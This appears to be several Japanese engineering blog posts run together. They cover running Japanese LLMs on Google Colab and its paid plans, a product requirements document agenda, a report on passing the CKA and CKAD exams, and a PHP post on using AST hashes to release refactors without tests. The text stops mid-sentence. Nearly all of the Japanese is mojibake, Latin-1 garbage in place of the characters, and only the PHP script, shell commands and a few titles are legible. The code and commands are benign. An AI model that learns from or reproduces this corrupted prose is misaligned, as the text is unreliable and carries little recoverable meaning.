æ§ãæãããããšãã§ããŸãïŒ ã²ãšãŸãããµã³ãã«ããã°ã©ã ãå®è¡ããŠã¿ãŸãããïŒ éäžçµé ãã®ããã°ã©ã ã§ã¯ã AIã«ãã£ãŠç§éã®æ®ããã¯ã©ã®ããã«å€ãããŸããïŒ ãšãã質åãæããããŠããŸãã ã¢ãã«ã®ããŠã³ããŒããšããã°ã©ã ã®å®è¡ãå®äºãããŸã§ãã°ããåŸ
ã¡ãŸããã... ãã°ãããããšãçµæãè¿ã£ãŠããŸããïŒ ãµã³ãã«ããã°ã©ã ã®è§£æçµæ ã»ãã«ã質åããŠã¿ãŸããïŒ è³ªåïŒæ¥æ¬ã§2çªç®ã«æšé«ãé«ãå±±ã¯ã©ãã§ããïŒ åçïŒæ¥æ¬ã§2çªç®ã«æšé«ãé«ãå±±ã¯ã åã¢ã«ãã¹ ã® åå²³ ïŒ å±±æ¢šç ãš é岡ç ã«ãŸãããïŒã§ãæšé«ã¯3,193ã¡ãŒãã«ã§ãã ä»ãŸã§ã®LLMã¯ãã®æã®è³ªåãèŠæã ã£ãã®ã§ãããcalm2-7bã¯æ£ç¢ºã§ããïŒ è¿œå ã®è³ªå ãšã©ãŒãã§ããšãã¯ïŒ ã»ãã·ã§ã³ãå€ããããšã è€æ°ã®ã¿ãã§ç°ãªãããŒãããã¯ãæäœãããšãã©ããäžã€ã ãã«çµãããã«ä¿ãããŸãã ã»ãã·ã§ã³ãå€ãããŸã ãã®å Žåã¯ããã€ã¢ãã°å³ç«¯ã®ãŽãç®±ã¢ã€ã³ã³ã¯ãªãã¯ã§äžèŠãªã»ãã·ã§ã³ãéããŸãããã ã»ãã·ã§ã³ãéãã ãªããããŸãåããªãæ å¿
èŠãªèšå®ãè¡ãªã£ãŠããããå¿
èŠãªã©ã€ãã©ãªãã€ã³ã¹ããŒã«ããŠããã«ãé¢ããããšã©ãŒãåºãæããããŸãã ãã®å Žåã¯ããã©ã³ã¿ã€ã > ã»ãã·ã§ã³ãåéããã¹ãŠå®è¡ããããã¯ãªãã¯ããŠã¿ãŠãã ããã å®è¡ãšã©ãŒ ã»ãã·ã§ã³åé ææãã©ã³ã«ã€ã㊠å
ã»ã©ã®ã³ãŒãå®è¡åŸã®ãªãœãŒã¹ç¶æ³ãèŠãŠã¿ãŸãããã ãããžã§ã¯ãå³äžã®é
ç®ãT4 RAM ãã£ã¹ã¯ããã¯ãªãã¯ããŸãã ãããžã§ã¯ãäžéšã«èªèº«ãå©çšãããªãœãŒã¹ã衚瀺ãããŸãã T4 RAMãã£ã¹ã¯ ç¡ææ ã®ãªãœãŒã¹æ¶è²» GPU RAM ãããªãéŒè¿«ããŠããããšãåãããŸãã ç¡ææ ã ãšãªãœãŒã¹ã«ããªãã®å¶éããããLLM ã 1 床åããã®ãéçã§ãã ãªãœãŒã¹ã®ãªã»ããã¿ã€ãã³ã°ãäžæãªã®ã§ãã¡ãã£ãšè²ã
詊ãããå Žåã¯äžäŸ¿ã§ãã... ã»ãã«ã 12 æéçµéãããšå®è¡ç°å¢ãåæåããããªã©ãå€ãã®å¶çŽããããŸãã ææãã©ã³ã«ç§»è¡ããããšã§ããããåé¡ã解決ã§ããŸãã Google Colab ã®ãã©ã³éžæç»é¢ ã«ã¢ã¯ã»ã¹ããŸãã ããã€ããã©ã³ããããŸãããã¡ãã£ãšè©Šããããªãšããæã¯ Pay As You Go ãã©ã³ããªã¹ã¹ã¡ã§ãã ãã®ãã©ã³ã¯ãåŸé課éå¶ã§ãã®ã§ãè§£çŽå¿ãã«ãã課éããçºçããŸããïŒ ãã³ã³ãã¥ãŒãã£ã³ã°ãŠãããããšåŒã°ãããªãœãŒã¹ã賌å
¥ããããã䜿ãåããŸã§å©çšã§ããä»çµã¿ã§ãã ããã«ãã GPU ã®å©çšäžéæ°ãã¹ããã¯ã§ããŸãã ãŸããå©çšã§ãã GPU ã®éžæè¢ãåºãããŸãã GPU ã®æ§èœã¯ãT4 < V100 < A100 ãšãªã£ãŠããŸãããæ§èœãé«ãã»ã©ã³ã³ãã¥ãŒãã£ã³ã°ãŠããããå€ãæ¶è²»ããããæ³šæãå¿
èŠã§ãã ãµã¯ããš LLM ã詊ããŠã¿ãã ãã§ããã° T4 ããã㯠V100 ã§ãååã ãšæããŸãã å GPU ããšã®1æéãããã®ã³ã³ãã¥ãŒãã£ã³ã°ãŠãããæ¶è²»éã®äºæž¬ã«ã€ããŠã¯ãªãœãŒã¹å
ã«æ
å ±ãããã®ã§ç¢ºèªããŠã¿ãŠãã ããã 1æéããã T4 1.96 V100 5.36 A100 13.08 æ¶è²»é å®éã« Pay As You Go ãéžæãã100 ã³ã³ãã¥ãŒãã£ã³ã°ãŠãããã賌å
¥ããŠã¿ãŸããã ãã©ã³éžæ 賌å
¥å®äº 賌å
¥åŸã®ãªãœãŒã¹ç¶æ³ãèŠãŠã¿ãŸãããã 賌å
¥åŸã®ãªãœãŒã¹ç¶æ³ ã³ã³ãã¥ãŒãã£ã³ã°ãŠããããå¢ããŠããããšã確èªã§ããŸããïŒ ã»ãã«ã䜿ã£ãŠã¿ã ã»ãã«ãããã€ãæ¥æ¬èªLLMã玹ä»ããŸãïŒïŒ ELYZA-japanese-Llama-2-7b æ ªåŒäŒç€ŸELYZAæ§ãå
¬éããŠããLlama 2ãããŒã¹ãšããæ¥æ¬èªLLMã¢ãã«ã GPT-3.5 (text-davinci-003)ãã«å¹æµããã¬ãã«ãæã€ãšã®ããšã§ãïŒ note.com Youri 7B Llama2 7BãããŒã¹ã«ããrinnaæ ªåŒäŒç€Ÿæ§ã®æ¥æ¬èªLLMã¢ãã«ã 400å ããŒã¯ ã³ç¶ç¶äºååŠç¿ããã¢ãã«ãšãªã£ãŠããéåžžã«é«ãã¹ã³ã¢ãåºãŠããŸããïŒ rinna.co.jp houou ãã㌠ãã©ã¯ ãŒãæ ªåŒäŒç€Ÿæ§ãå
¬éããŠããYouri7Bã«å¯ŸããŠãã¥ãŒãã³ã°ãè¡ã£ãLLMã¢ãã«ã ã€ã³ã¹ã ã©ã¯ ã·ã§ã³ããŒã¿ã䜿ã£ãåŠç¿ã«ãããåçã®ç²ŸåºŠã倧å¹
ã«åäžãããšã®ããšã§ãïŒ corp.moneyforward.com Swallow æ±äº¬å·¥æ¥å€§åŠ ãå
¬éããŠããLLMã¢ãã«ã§ãLlama2ãèŠæãšããŠããæ¥æ¬èªã®èªã¿æžãæ§èœã倧å¹
ã«åäžãããšã®ããšã§ãïŒ ãã©ã¡ãŒã¿ã調æŽããããšã§ãªã¿ã¯ã£ãœããªãããšããããã§ã話é¡ã«ãªã£ãŠããŸãããïŒ æ±å·¥å€§ ãæšæ¥å
¬éããæ¥æ¬èªç¹åLLMãSwallowããæ©é詊ããŠãã倧åŠã®ã·ã³ãã«ããŒã¯ã§ããããã¡ãååã«ãªã£ãŠããã®ãææ
šæ·±ãã âŠâŠâŠãããã©ããªæ·±å»ãªè©±é¡ããªã¿ã¯ç¹æã®ãã€ãã³ã·ã§ã³ãª æªææž ã«å€åœ¢ããããã ãã©ããããããŠæ¥æ¬äººãå
šå¡ãªã¿ã¯ã«ããèšç»ã¯ãããããšããŠãâŠïŒ pic.twitter.com/layDqlnKVL — ã€ããŸãŒïŒ AIãšã³ãžã㢠(@yamazombie1) December 20, 2023 www.titech.ac.jp ããå幎ã ãã§ãæ¬åœã«å€ãã®åãçµã¿ããªãããŠããŸããïŒ ãã€ãLLMãããã£ãšããŒã«ã«ã§åãããæä»£ãããã°...ãªããŠã®ããå®ã¯ llama.cpp ãšããLLMããããŸãã ãã¡ãã¯ç¢ºãã«CPUã ãã§åäœããã®ã§æ¬åœã«ãããã§ãïŒïŒ ïŒããæ¥æ¬èªã®èªã¿æžãããã匱ãè¿çã«äžåœèªãæ··ãã£ããããŸã...ïŒ 2024幎ãLLMã®ååãããŠã©ããããŠã©ãã©ã詊ããŠã¿ãŸãããïŒïŒ
çãããããã«ã¡ã¯ïŒãããã¯ããã°ãã¯ïŒ 楜楜粟ç®ãããã¯ããããŒãžã£ãŒã® @wekkyyyy ã§ãã ååã¯ãPdMãšPMMã®åœ¹å²åæ
ã»é£æºããšããããŒãã§èšäºãããããŠããã ããŸããã tech-blog.rakus.co.jp ä»åã¯ã 楜楜粟ç®ã®PRD(補åèŠæ±ä»æ§æž) Agenda ãšããããŒãã§ããã°ãèšèŒããŸãã ç®æ¬¡ã¯ä»¥äžãšãªããŸãã 察象èªè
åæ æ¥œæ¥œç²Ÿç®ã®PRD(補åèŠæ±ä»æ§æž) Agenda(äžéš) äžçªéèŠãšèããAgenda Contentsãµã³ãã« ã©ã¯ã¹ã®PdMãšããŠæŽ»èºããŠã¿ãŸããã? 察象èªè
PRD(補åèŠæ±ä»æ§æž)ãäœæãããPdM(PM)ã»ãã©ã³ããŒã»PjMçã®æ¹ã
åæ ãããŸã§æ¥œæ¥œç²Ÿç®ã§ã¯ããã§ããã®ãµã³ãã«ã§ãã®ã§ãããã絶察ïŒãšãããã®ã§ã¯ããããŸããã äŒç€Ÿã»ãããã¯ãããšã«PdM(PM)çã®åœ¹å²å®çŸ©ã¯æ§ã
ã§ãããã®ããã©ããŸã§æžããã¯ããããã§ãã æ¥œæ¥œç²Ÿç®ã®PRD(補åèŠæ±ä»æ§æž) Agenda(äžéš) 楜楜粟ç®ã®PRD Agendaã¯ã以äžã§ãã å
šéšãå
šéšã ãšããªãã®è¡æ°ã«ãªãã®ã§ãäžéšãšãããŠãã ããã ïŒããã®2åã¯ãããŸããããw) Whyé å å顿ŠèŠïŒèª°ã®ã©ããªæ¥åã«ã©ããã£ã課é¡ããããïŒ è²¡åå¹æïŒ ã©ã¯ ã¹åŽã®ã¡ãªãããèšèŒã»å¯èœãªéãéé¡ãšæ ¹æ ãèšèŒããïŒ Whaté å éææ¡ä»¶ïŒäœãã§ããã°æ¬æ©èœã®éçºç®çãæããããïŒ åæ/Must/Better æ¥åãžã®åœ±é¿ çµç ãªã© ç«å Žå¥ ã·ã¹ãã éçšé¢ ããã¥ã¢ã« æ³å®åæ å
容 æ¢åæ©èœãžã®åœ±é¿ æ³å®ã³ã¹ã éçºã³ã¹ã ã·ã¹ãã éçšã³ã¹ã ã€ã³ãã©ã³ã¹ã äžçªéèŠãšèããAgenda Whyé å ã®ä»¥äžã§ãã 1. å顿ŠèŠïŒèª°ã®ã©ããªæ¥åã«ã©ããã£ã課é¡ããããïŒ 2. 財å广ïŒã©ã¯ã¹åŽã®ã¡ãªãããèšèŒã»å¯èœãªéãéé¡ãšæ ¹æ ãèšèŒããïŒ çç± Whyé åããééã£ãŠããã»ãããµãã ãšä»¥äžã®ãªã¹ã¯ãçºçããŸãã åŸç¶Agendaããå
šãŠèŠåœéãã®å
容ã«ãªããªã¹ã¯ãããã ããããã®èª²é¡ããŸã¡ãã£ãŠãããšãèŠåœéãã®æ€èšãé²ããŠããŸãã ãããµããªå
容ã ãšãéææ¡ä»¶ãšã®ã€ãªãããæããããªããªãã éææ¡ä»¶ããããµãã ãšããšã³ãžãã¢ã®èŠä»¶å®çŸ©ããããå
容ã«ãªã Contentsãµã³ãã« å顿ŠèŠïŒèª°ã®ã©ããªæ¥åã«ã©ããã£ã課é¡ããããïŒ ã®ãµã³ãã«ãèŒããŸãã å®éã®æ¡ä»¶ã§äœæãããã®ã§ããïŒæ¹ä¿®ãªãªãŒã¹æžã¿ã§ãïŒ ãã¡ãã¯ãã·ã³ãã«ãªãã®ã§ããæ¡ä»¶ã«ãã£ãŠã¯ãããã®äœåãç»å Žäººç©ãšActionãè€éã«ãªããŸããããorz ã©ã¯ ã¹ã®PdMãšããŠæŽ»èºããŠã¿ãŸããã? 楜楜粟ç®PdMã¯ãåŒãç¶ã人æãåéããŠãããŸãã æ¯éã«ãžã¥ã¢ã«é¢è«ãããç³ã蟌ã¿ããã ãããšå¹žãã§ãã career-recruit.rakus.co.jp
ããã«ã¡ã¯ãSRE課ã»ãã§ãã ä»åã¯Certified Kubernetes Administrator (CKA)ãšCertified Kubernetes Application Developer (CKAD)ãåéšããåæ Œãããããã®äœéšèšãå
±æããŸãã CKAãCKADãšã¯ ãªãåããã åéšè
ã®ã¹ãã㯠åéšããã«ãããæäœé身ã«ã€ããŠãããæ¹ãè¯ãããš ãã€åéšãã©ã®ãããå匷ããã åŠç¿ã«äœ¿çšãããã® Udemy:Certified Kubernetes Administrator (CKA) with Practice Tests Killer.sh Kubernetes.io(å
¬åŒããã¥ã¡ã³ã) Kuberneteså®å
šã¬ã€ã ãã®ä»åŠç¿ã«åãå
¥ããŠããããã® Kubernetes The Hard Way åéšç°å¢ å Žæ æ©åšã¹ãã㯠詊éšã«ã€ããŠã®ã¢ããã€ã¹ æéã§åæ Œããæ¹æ³ KubernetesãããçšåºŠçµéšããããšãããæ¹ Kubernetesã®çµéšãã»ãŒãªãæ¹ æ³šæç¹ è©Šéšæ¹åŒãæã®è©Šéšãšè¥å¹²å€ãã£ãŠãã å®éã«è©ŠéšãåããŠå€±æããããš è±èªå ãªã¢ãŒããã¹ã¯ãããç°å¢ ãã£ãŠãããæ¹ãè¯ãããš Aliasã®èšå® kubectlã®ã¯ã³ã©ã€ããŒã³ãã³ã 䟿å©ãªãã® ç·ã㊠CKAãCKADãšã¯ Cloud Native Computing Foundation(CNCF)ãš Linux Fundationã®ååã«ãã£ãŠäœã£ãè³æ Œã§ãã CKA㯠Kubernetes 管çè
ã®è²¬ä»»ãéè¡ããã¹ãã«ãç¥èãããã³èœåãä¿èšŒããè³æ Œ etcdã§snapshotãrestoreã®å®æœæ¹æ³ãªã©åŠç¿ã§ã楜ããã£ãã§ãã CKAD㯠Kubernetes çšã® ã¯ã©ãŠã ãã€ãã£ãã¢ããªã±ãŒã·ã§ã³ãèšèšãæ§ç¯ããããã€ã§ããããšã蚌æããè³æ Œ Kubernetes ã§ã¢ããªã±ãŒã·ã§ã³ãåããç°å¢ã ãšãã¢ããªã±ãŒã·ã§ã³éçºè
ã¯ãšã£ãŠãããŠæã¯ãªãè³æ ŒããšæããŸãã ãªãåããã äžéçã«ã Kubernetes ã®å©çšãå¢ãããããããŸããŸãéèŠæ§ãå¢ããŠãããšæããããããããæ¬æ Œçã«èŠãããããšæã£ãããšããã£ããã§ãã ãŸã瀟å
ã§ãã³ã³ããæè¡ãæšé²ããŠãããããçºèšã«ãã説åŸåãããããæå³ããããŸããã åéšè
ã®ã¹ãã㯠27æ³æç³»åºèº«ãã»ãŒã»ãŒã¢ããªã®äººéã å®åã§ã€ã³ãã©èšèšæ§ç¯çµéšã¯å
šããªãã Linux ã³ãã³ãããã䜿çšãããã®ããç¥ããŸããã Kubernetes ã«é¢ããç¥èã¯ä»¥å瀟å
ã§è¡ãããŠã Kuberneteså®å
šã¬ã€ã ã®èŒªèªäŒã«åå ããŠæ¬ã1åšãéã³ã§ Kubernetes ãå°ãåããããããã§ãã åéšããã«ãããæäœé身ã«ã€ããŠãããæ¹ãè¯ãããš LPIC1çžåœã® Linux ã®ç¥è Dockerçã䜿çšããã³ã³ããæè¡ã®æäœéã®ç¥è ãã€åéšãã©ã®ãããå匷ããã CKAã¯2023幎8æ13æ¥ã«åéšãåæ Œ(åŠç¿æé2ã¶æåçšåºŠ) CKADã¯2023幎8æ27æ¥ã«åéšãåæ Œ(åŠç¿æé2é±éçšåºŠ) å匷éã¯CKAãŸã§ã¯å¹³æ¥çŽ2æéçšåºŠã忥ã¯çŽ4~5æéçšåºŠããŠããŸããã â»CKADã¯ã»ãŒCKAãšè©Šéšå
容ã被ã£ãŠãããããJobãCronJobãLiveness ProbeãReadiness Probeãããçè§£ããŠããã°åæ ŒãããšæããŸãã åŠç¿ã«äœ¿çšãããã® Udemy:Certified Kubernetes Administrator (CKA) with Practice Tests ãŸãã§ããã ãå®ç§ã«ããŠããã°åæ Œããã ãã ãå
šãŠè±èªã§ãããåå¹ã§å€ãªæ¥æ¬èªã«å€æãããŠããŸãã åéšè
ã¯è±èªã¯å
šãããããªããããé³å£°OFFã«ããŠBGMçèŽããªããåãçµãã§ããŸããã éæ¿ã ãšã¯æãããUdemyã§ã»ãŒã«æã«è²·ãã¹ããééã£ãŠãã»ãŒã«ã«ãªã£ãŠããªãæã«è²·ã£ãŠã¯ãªããªãã Killer.sh ããŠãã£ãŒ(詊éšãã±ãã)ã賌å
¥ãããš2ååä»ããŠããã æš¡æ¬è©Šéšåœ¢åŒã§ããã ãªã¢ãŒããã¹ã¯ããã ãå©çšããå®éã®è©Šéšãšã»ãŒåããããªåœ¢åŒã§è©Šéšã§ãããããè©Šéšæ
£ãããããã«å¿
ã宿œããŠããã¹ããã¢ã¯ãã£ããŒããããš36æé䜿ããã å®éã®è©Šéšããé£ãããkiller.shã®åé¡ãé£ãªããšããç¶æ
ã«ããŠããã°æ¬çªãééããªãåæ Œãããšæãã ç§ã¯è©Šéš2,3æ¥åããå§ããŠããªãèªä¿¡ãåªå€±ããŸããããã è§£ããªããŠãã1,2é±ããŠãè§£ããªãåé¡ã¯éœåºŠç¢ºèªããããšã§çè§£ãæ·±ããããšãã§ããŸããã Kubernetes.io(å
¬åŒããã¥ã¡ã³ã) è©Šéšæ¬çªæã«ç¢ºèªã§ããããŒãžã®1ã€ãæ¬çªæã¯ã»ãŒãã®ããŒãžã確èªããªããåãçµãããã udemy ã§åé¡ãè§£ããªããå
¬åŒããã¥ã¡ã³ãæ
£ãã¯å¿
ãããŠããã¹ãã Kuberneteså®å
šã¬ã€ã ãšãŠãããããããã詳ããããè
ã«èœã¡ãªãéšåããã£ãšçè§£ãæ·±ãããæã«äœ¿çšããŠããŸããã ãã®ä»åŠç¿ã«åãå
¥ããŠããããã® Kubernetes The Hard Way CKAãåããã®ã§ããã°åãçµãã æ¹ãããçè§£ãé²ããšæããŸãã åéšç°å¢ å Žæ èªå®
ããããããŒãã«ä»¥å€ã¯æŒå
¥ããå¥éšå±ã«æŒã蟌ã¿ãŸããã æ©åšã¹ãã㯠Macbook Pro 13ã€ã³ãã®ã¿ ç»é¢å°ãããŠãšãŠãèŸãã£ãã§ãã â» Linux Foundation ã¯15ã€ã³ã以äžã®ç»é¢ãæšå¥šããŠããã¿ããã§ãã â» ãã¥ã¢ã«ãã£ã¹ãã¬ã€ ã¯çŠæ¢ããŠããã¿ããã§ãã 詊éšã«ã€ããŠã®ã¢ã ãã€ã¹ å顿°ã¯ã15ïœ20åçšåºŠã§ãããå®å
šã«è§£ããªãããªåé¡ã§ãéšåç¹ããããããããå®å
šã«ããããªããŠãå°ãã§ãæãã€ããæ¹ãè¯ãã 詊éšäžã®èšèªã«é¢ããŠã¯ããCKA-JPããéžæããŠããäœåºŠã§ãè±èªãæ¥æ¬èªã«èšèªå€æŽå¯èœã§ãã(ãã®ä»èšèªã«å€æŽå¯èœãã¯å¿ããŠããŸããŸããããã¿ãŸããã) æéã§åæ Œããæ¹æ³ Kubernetes ãããçšåºŠçµéšããããšãããæ¹ killer.sh ããŸãåããŠã¿ãã50%ä»¥äžæ¡ããã°ãæ¬¡ã®æ¥ã«ã¯åæ Œãããšæãã äžå®ã ã£ãããè§£ããªãã£ãéšåã®ã¿ udemy ã§åŠç¿ããã°åé¡ãªããšæãã Kubernetes ã®çµéšãã»ãŒãªãæ¹ udemy ãæéã§1,2é±ãããçè§£ã§ããªãã¯ãŒãçã¯éœåºŠèª¿ã¹ãŠæœ°ããŠããã 3é±ç®ããè§£ããªãã£ãåéãåé¡ã®ã¿å®æœãè§£ããªãåé¡ã朰ãã æ³šæç¹ è©Šéšæ¹åŒãæã®è©Šéšãšè¥å¹²å€ãã£ãŠãã ä»èšäºã§ã¯ Kubernetes.io ã®éèŠéšåãããã¯ããŒã¯ããŠãããŠãè©Šéšæã«ããã¯ããŒã¯ãã確èªã§ãããšããèšäºãå€ã
ã¿ãããããªããšã¯äžåãªã éå»ã¯è©Šéšæéã3æéã§ãã£ãããçŸåšã¯2æéã«ãªã£ãŠããã å®éã«è©ŠéšãåããŠå€±æããããš è±èªå 詊éšã«ã€ããŠèª¿ã¹ããšãCKADãšCKAD-JPãããCKAãšCKA-JPãçãæ¥æ¬èªã«å¯Ÿå¿ãã詊éšãåºãŠããããã¡ããåéšè
ã¯è±èªãå
šãããããªãããããCKA-JPããéžæããã 詊éšéå§åã«è©Šéšç£ç£å¡ãšãã£ããã³ãã¥ãã±ãŒã·ã§ã³ãè¡ãã詊éšç°å¢ãšããŠé©åãªç°å¢ãå®éã«ç»é¢ã«æ ããªãããã§ãã¯ããããããäœæ
ããã®ãã£ããã³ãã¥ãã±ãŒã·ã§ã³ãè±èªã ã£ããããCKA-JPããéžæããã¯ããªã®ã«ãã æ¡ã®å®ãã£ããã®å
容ãå
šãçè§£ã§ããããã£ããã§é ããæç€ºéãã«åãããšãã§ããªãã£ãããã®ããç»é¢ãããã£ãšåãããŠããŸã詊éšçµäº?ã«ãªã£ãŠããŸã£ãã ããããããäžåºŠãã£ã¬ã³ãžããŠãã£ããå
容ã¯DeepL翻蚳ã§èŠçŽããããç¡äºè©Šéšãå§ããããšãã§ããããåéšæçŽ5äžåæã£ãŠãããããããªãåæºããŠããŸããéå§10~20åã¯è©Šéšã«éäžããããšãã§ããªãã£ãã ãªã¢ãŒããã¹ã¯ããã ç°å¢ è©Šéšæ¬çªãš killer.sh 㯠ãªã¢ãŒããã¹ã¯ããã äžã§ Windows ç°å¢ã§ã®è©Šéšã§ããã killer.sh ã®æã«ãCtrlãïŒãFãã§æ€çŽ¢ã§ããããšã確èªããããè©Šéšæ¬çªã§ã¯äœæ
ãæ€çŽ¢ããããšãã§ããªãã£ãã Kubernetes.io ã§æ¬²ããæ
å ±ããªããªãååŸããããšãã§ãããèŠæŠããã ãŸãäœæ
ãæ¥æ¬èªå€æãã§ããã(åã ã?) Kubernetes.io äžã§ã®å·Šã®æ€çŽ¢ããŒããã®æ€çŽ¢ãå
šãŠè±èªã®ã¿ã«ãªã£ãŠããŸããèŠæŠããã ãã£ãŠãããæ¹ãè¯ãããš Aliasã®èšå® alias k=kubectl ã¯çŽ çŽã«ãã£ãŠãããæ¹ããããå°ãªãããç§ã«ãšã£ãŠ2æéãšããè©Šéšæéã¯ãšãŠãçãæãããããå°ãã§ãæéççž®ããã¹ã kubectlã® ã¯ã³ã©ã€ã㌠ã³ãã³ã ããã€ãã® ã¯ã³ã©ã€ã㌠ãèŠã㊠yaml ãã¡ã€ã«ã®é圢ãçæããã¹ã 䟿å©ãªãã® kubectlããŒãã·ãŒã ç·ããŠ è³æ Œãåãããšã«ãã£ãŠå®åã§å³æŠåãšãŸã§ã¯ãããŸãããã課å
ã§ã®ã話ã®å
容ã¯ããçšåºŠçè§£ã§ããããã«ãªããŸããã åŠç¿éäžã¯èŠããããšãå€ãããŠæãããã«ãªããŸãããããããã«æ¯æ¥ç¶ç¶ããããšã§ç¡äºåæ Œããããšãã§ããŸããã ç¡çã«èŠããããšã¯ããæ¯æ¥åŠç¿ãç¶ããã°ãçµéšããªãæ¹ãååŸã§ããè³æ Œã ãšæããŸãã ãŸããåéšè²»çšèš10äžã»ã©(CKA,CKADåãããŠ)ã¯äŒç€Ÿãè² æ
ããŠããããããæè¬ãããªãã§ãïŒ
ãã®èšäºã¯ PHP Advent Calendar 2023 6æ¥ç®ã®èšäºã§ãã ããã«ã¡ã¯ãé
é
ã¡ãŒã«éçºãšã³ãžãã¢ã® takaram ã§ãã ç§ã®ããŒã ã§ã¯ãæè¿è¡ã£ã ãªãã¡ã¯ã¿ãªã³ã° ã PHP ããŒãžã§ã³ã¢ãã察å¿ã«ãããŠããã㊠修æ£ããã³ãŒãããã¹ãããªã ãšãã察å¿ãåãããšããããŸããããã®èšäºã§ã¯ããã«ã€ããŠã話ãããŸãã ãã¹ãããªãã§ãªãªãŒã¹ããæ¹æ³ äœ¿ãã©ãã äžæ¬ã³ãŒããã©ãŒããã ${}ã«ããæååè£éã®ä¿®æ£ ããæ¹ æåŸã« ãã¹ãããªãã§ãªãªãŒã¹ããæ¹æ³ ãããªããã¿ãã¬ããŠããŸããšãããã¯ã¢ãã¿ããŠããã®ããã¯ããã°ã§ç޹ä»ãããŠãã以äžã®èšäºã®nçªç
ãã§ãã tech-blog.monotaro.com èŠçŽãããšãã³ãŒãã®ä¿®æ£ååŸã§æœè±¡ æ§ææš (AST) ãå€åããªããã°ãã³ãŒãã®åäœãå€ãããªãã¯ããªã®ã§ãã¹ãäžèŠãšå€æã§ããããšããããšã§ãã å
èšäºã¯ Python ã§ãã£ãŠããŸãããèãæ¹èªäœã¯ä»ã®èšèªã§ã䜿ããã®ã§ãå®éã« PHP ã§ãã£ãŠã¿ããšããèšäºããããŸãã モノタロウさんがすごいなと思ったのでphp-astを試してみた #PHP - Qiita 「PHPのファイルに差分があるかを(astを使って)調べる君」を書いた - 大好き!にちようび äžèš2èšäºã¯æ¡åŒµã¢ãžã¥ãŒã«ã® php-ast ãå©çšããŠããŸãããæ¡åŒµã¢ãžã¥ãŒã«ã®ã€ã³ã¹ããŒã«ã¯é¢åã§ããããšãå€ãã®ã§ãä»å㯠PHP-Parser ã䜿ãããšã«ããŸãã ãªãããã以éããã¡ã€ã«ã® ããã·ã¥å€ ããšãã衚çŸãã PHP ããã°ã©ã ã®ASTã® ããã·ã¥å€ ããšããæå³ã§äœ¿ããŸãã 䜿ãã©ãã äžæ¬ã³ãŒããã©ãŒããã PHP _CodeSnifferã php -cs-fixerã§ãããžã§ã¯ãå
šäœã«èªåä¿®æ£ããããå Žåã察象ãã¡ã€ã«ãæ°åãè¶
ããããšããããŸãããããå
šãŠæåã§ãã¹ãããã®ã¯éçŸå®çã§ãããã ã€ã³ãã³ãã æŒç®å ã®åšãã®ç©ºçœã®ä¿®æ£ã§ããã°ASTã«ã¯åœ±é¿ããªãããããã®ææ³ã䜿ãããšãã§ããŸãã ${} ã«ããæååè£éã®ä¿®æ£ PHP8.2ã§ "${var}" 圢åŒã§æååã«å€æ°ãåã蟌ãæååè£éãéæšå¥šã«ãªããŸããã ãŸã 䜿ããªããªãããã§ã¯ãªãã§ããã "{$var}" 圢åŒã«æžãæããå¿
èŠããããŸãã ããã2ã€ã®æååã¯åçã®ASTãåºåããããããASTã® ããã·ã¥å€ ãå€ãããŸããã ããæ¹ ãŸãé©åœãª ãã£ã¬ã¯ã ãªã«ããã¡ã€ã«ã® ããã·ã¥å€ ãåºåãã ã¹ã¯ãªãã ãäœããŸãããã¡ã€ã«ã¯ãããªæãã§ãã <?php declare ( strict_types = 1 ) ; use PhpParser\NodeDumper; use PhpParser\ParserFactory; require_once __DIR__ . '/vendor/autoload.php' ; $ parser = ( new ParserFactory ) -> create ( ParserFactory :: PREFER_PHP7 ) ; $ dumper = new NodeDumper () ; foreach ( array_slice ( $ argv , 1 ) as $ file ) { try { $ ast = $ parser -> parse ( file_get_contents ( $ file )) ; } catch ( Error $ error ) { echo "Parse error: { $ error -> getMessage() }\n " ; exit ( 1 ) ; } $ hash = md5 ( $ dumper -> dump ( $ ast )) ; echo " { $ hash }\t{ $ file }\n " ; } 以äžã§ã¯ããã®ãã¡ã€ã«ã /tmp/php-ast-diff/ast_md5.php ã«çœ®ããŠãããšããŠé²ããŸãã æ¬¡ã«ãnikic/ PHP -Parserãã€ã³ã¹ããŒã«ããŸããããŒãžã§ã³ã¯v4.xç³»ãå©çšããŸãã $ cd /tmp/php-ast-diff $ composer require nikic/php-parser:'^4.17' ãããŸã§ã§æºåã¯å®äºã§ãã詊ãã«ã ast_md5.php èªèº«ã® ããã·ã¥å€ ãåºåãããŠã¿ãŸãããã 以äžã®ããã«åºåããããšæããŸãã $ php ast_md5.php ast_md5.php 7042836d533afb828822f59454abb39f ast_md5.php ãã以éã¯ã ããã·ã¥å€ ãèšç®ããããã¡ã€ã«ã®ãã ãªããžã㪠ã§äœæ¥ããŸãã ãŸããmainãã©ã³ãããrefactorãã©ã³ããåã£ãŠã³ãŒããä¿®æ£ãããšä»®å®ããŸãã ãŸããä¿®æ£ãããã¡ã€ã«ãäžèЧã§åºããŠãããŸãã $ git diff --name-only main...refactor > changed_files 次ã«ãä¿®æ£åã®ãã¡ã€ã«ã® ããã·ã¥å€ ãåºåããŸãã mainãã©ã³ãäžã ãšãrefactorãã©ã³ãäœæåŸã«ããŒãžãããä»ã®å€æŽãå
¥ã£ãŠããå Žåãããããããã©ã³ãã®åå²ã®æ ¹å
ã«åœããã³ãããã«ãã§ãã¯ã¢ãŠãããŸãã $ git checkout "$(git merge-base main refactor)" $ xargs php /tmp/php-ast-diff/ast_md5.php < changed_files > hash_before 次ã«ä¿®æ£åŸã®ãã¡ã€ã«ã® ããã·ã¥å€ ãåºåããŸãã $ git checkout refactor $ xargs php /tmp/php-ast-diff/ast_md5.php < changed_files > hash_after æåŸã« hash_before ãš hash_after ãdiffã³ãã³ãçã§æ¯èŒããå·®åããªããã° ããã·ã¥å€ ãå€ãã£ãŠããªããšåãããŸãã æåŸã« ç¹ã« ãŠããããã¹ã ãååã«ãªããããã¯ãã§ã¯ã ãªãã¡ã¯ã¿ãªã³ã° ã¯åŸã
ã«ããŠå€§å€ã«ãªããã¡ã§ãã ä»å玹ä»ããæ¹æ³ã§ããã°ããã«ã§ãåãå
¥ããããã®ã§ããã²æŽ»çšããŠã¿ãŠãã ããïŒ
ããã«ã¡ã¯ãé
é
ã¡ãŒã«éçºèª²ã®wnwtt17ã§ãã ä»åã¯é
é
